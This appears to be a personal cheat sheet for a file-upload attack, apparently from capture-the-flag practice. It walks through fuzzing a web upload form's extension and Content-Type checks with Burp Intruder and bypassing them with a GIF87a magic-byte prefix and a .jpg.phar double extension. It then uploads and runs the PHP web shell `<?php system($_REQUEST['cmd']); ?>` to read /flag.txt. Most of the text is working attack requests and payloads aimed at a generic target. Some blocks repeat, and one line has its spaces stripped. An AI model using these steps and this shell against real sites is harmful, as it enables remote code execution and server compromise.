web shells has to be written in the same programming language that runs the web server
#identify what language runs the web application.
#method 1: visit the /index.{ext}
root@oco:~$ BROWSER > {targetSite:port}/index.{ext}
* swap out ext with various common web extensions, like php, asp, aspx
to see whether any of them exist.
* the index page is usually hidden by default
#method 2: burp suite extension fuzzing
#method 3:
root@oco:~$ BROWSER > https://chromewebstore.google.com/category/extensions?utm_source=ext_sidebar&hl=en-US
search: wappalyzer
root@oco:~$ BROWSER > {targetSite:port} > wappalyzer
technologies: ...
#test whether you can upload a file with the same extensionroot@oco:~$nanotest.php<?phpecho"test";?>root@oco:~$BROWSER>{targetSite:port}>upload*Filesuccessfullyuploaded*thismeansthatthewebapplicationhasnofilevalidationontheback-end
#fuzz for allowable extensions
#step 1: fuzz the upload functionality with a list of potential extensions and
#see which of them return an error message. Any upload requests that do not return
#an error message, return a different message, or succeed in uploading the file, may
#indicate an allowed file extension
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-extensions.txt
root@oco:~$ curl -O https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst
#
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
upload field: {select image to upload}
* submit the expected user input
BURP > Proxy > Intercept > Raw > right-click > Send to Intruder
Request
...
------WebKitFormBoundaryP8S8EydB15hQ1DB1
Content-Disposition: form-data; name="uploadFile"; filename="phpShell.jpg"
Content-Type: image/jpeg
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundaryP8S8EydB15hQ1DB1--
BURP > Intruder
Positions
Attack Type: Sniper
Payload Positions: phpShell$.jpg$
- be sure to Clear any automatically set positions
- highlight .jpg and select "Add" to add it as a fuzzing position
Payloads
Payload Sets: default
Payload Settings > Load > web-extensions.txt
Payload Processing: default
Payload Encoding
URL-encode these characters: disabled
- this avoids encoding the (.) before the file extension
Start Attack!
Burp > Intruder Attack of http://{targetSite:port} > Response
* sort the results by Length to see all the extensions that have passed validation
- the response should be file successfully uploaded
* Not all extensions that passed validation will work with all web server configurations, you will need to try several extensions to get one that successfully executes PHP code.
#step 1: fuzz for the Content-Type header to see which types are allowed
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
root@oco:~$ cat content-type.txt | grep 'image/' > image-content-types.txt
root@oco:~$ nano image-content-types.txt
image/jpg
* the error messages you receive from the server can provide insights into which types are allowed
and it can be used to limit what to fuzz for
root@oco:~$ nano phpShell.jpg
<?php system($_REQUEST['cmd']); ?>
#fuzz for allowable content type
#step 1: fuzz the upload functionality with a list of potential extensions and
#see which of them return an error message. Any upload requests that do not return
#an error message, return a different message, or succeed in uploading the file, may
#indicate an allowed file extension
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
upload field: {select image to upload}
* submit the expected user input
BURP > Proxy > Intercept > Raw > right-click > Send to Intruder
Request
...
------WebKitFormBoundaryP8S8EydB15hQ1DB1
Content-Disposition: form-data; name="uploadFile"; filename="phpShell.jpg"
Content-Type: §image/png§
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundaryP8S8EydB15hQ1DB1--
BURP > Intruder
Positions
Attack Type: Sniper
Payload Positions: real-image.jpg
Content-Type: §image/jpeg§
- be sure to Clear any automatically set positions
- highlight image/jpeg keyword and select "Add" to add it as a fuzzing position
- Content-Type: §image/jpeg§
Payloads
Payload Sets: default
Payload Settings > Load > image-content-types.txt
Payload Processing: default
Payload Encoding
URL-encode these characters: disabled
- this avoids encoding the (.) before the file extension
Start Attack!
* if nothing is found add magic bytes to the beginning of the file
- GIF (GIF87a, GIF89a)
* allowed image/jpeg, image/png, image/gif
#modify the payload by adding magic bytes
root@oco:~$ nano phpShell.jpg
GIF87a
<?php system($_REQUEST['cmd']); ?>
* the GIF87a is a magic byte
#upload the modified phpShell
Burp > Intruder Attack of http://{targetSite:port} > Response
* sort the results by Length to see all the allowed content types
- the response should be file successfully uploaded
* Not all extensions that passed validation will work with all web server configurations, you will need to try several extensions to get one that successfully executes PHP code.
Burp > Intruder Attack of http://{targetSite:port} > Response > right-click successful request > Send to Repeater
------WebKitFormBoundaryzBYikKv2dyokSEDU
Content-Disposition: form-data; name="uploadFile"; filename="phpShell.jpg.phar"
Content-Type: image/jpeg
GIF87a
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundaryzBYikKv2dyokSEDU--
#access the uploaded shell from within Burp Suite
Burp > Intruder Attack of http://{targetSite:port} > Response
* sort the results by Length to see all the allowed content types
- the response should be file successfully uploaded
* Not all extensions that passed validation will work with all web server configurations, you will need to try several extensions to get one that successfully executes PHP code.
Burp > Intruder Attack of http://{targetSite:port} > Response > right-click successful request > Send to Repeater
GET /profile_images/phpShell.jpg.phar?cmd=cat%20%2Fflag.txt HTTP/1.1
* simply change the POST /upload.php .... to GET /profile_images....
------WebKitFormBoundaryzBYikKv2dyokSEDU
Content-Disposition: form-data; name="uploadFile"; filename="phpShell.jpg.phar"
Content-Type: image/jpeg
GIF87a
<?php system($_REQUEST['cmd']); ?>
------WebKitFormBoundaryzBYikKv2dyokSEDU--